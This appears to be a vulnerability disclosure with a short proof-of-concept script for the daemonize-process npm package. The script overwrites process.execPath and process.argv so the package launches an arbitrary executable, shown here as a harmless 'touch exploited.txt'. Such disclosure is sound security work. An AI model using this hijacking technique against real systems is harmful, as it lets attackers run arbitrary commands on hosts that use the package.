Package daemonize-process: Kills the current process and launches a copy of its semantics as a background process. The process object attributes process.execPath and process.argv may be changed beforehand to launch an arbitrary script. This could be used for example to launch command 'yes' piped into a file, as an example.

daemonize-process_poc.js

'use strict'

const daemonizeProcess = require('daemonize-process');

process.execPath = 'touch';
process.argv = ['touch', 'exploited.txt', ''];

/* 
 * This will launch a child process that is supposed to be the same binary of the current process.
 * By hijacking process.execPath and process.argv, we inject a different executable.
 * A local 'exploited.txt' file will be created.
 */
daemonizeProcess();